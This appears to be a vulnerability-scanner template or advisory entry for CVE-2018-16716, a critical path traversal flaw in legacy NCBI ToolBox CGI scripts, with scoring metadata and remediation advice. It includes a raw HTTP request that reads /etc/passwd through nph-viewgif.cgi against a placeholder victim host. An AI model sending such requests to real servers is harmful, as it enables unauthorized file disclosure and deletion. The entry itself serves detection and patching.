| Title | NCBI ToolBox - Directory Traversal |
|---|---|
| Author | 0x_Akoko |
| Severity | Critical |
| Impact | An attacker can view, modify, or delete sensitive files on the server, potentially leading to unauthorized access, data leakage, or system compromise. |
| Remediation | Apply the latest patch or update from the vendor to fix the directory traversal vulnerability in the NCBI ToolBox. |
| CVSS Score | 9.1 |
| EPSS Score | 0.44536 |
| CVE ID | CVE-2018-16716 |
| CWE ID | CWE-22 |
| Tags | cve cve2018 ncbi lfi nih vuln |
NCBI ToolBox 2.0.7 through 2.2.26 legacy versions contain a path traversal vulnerability via viewcgi.cgi which may result in reading of arbitrary files (i.e., significant information disclosure) or file deletion via the nph-viewgif.cgi query string.
GET /blast/nph-viewgif.cgi?../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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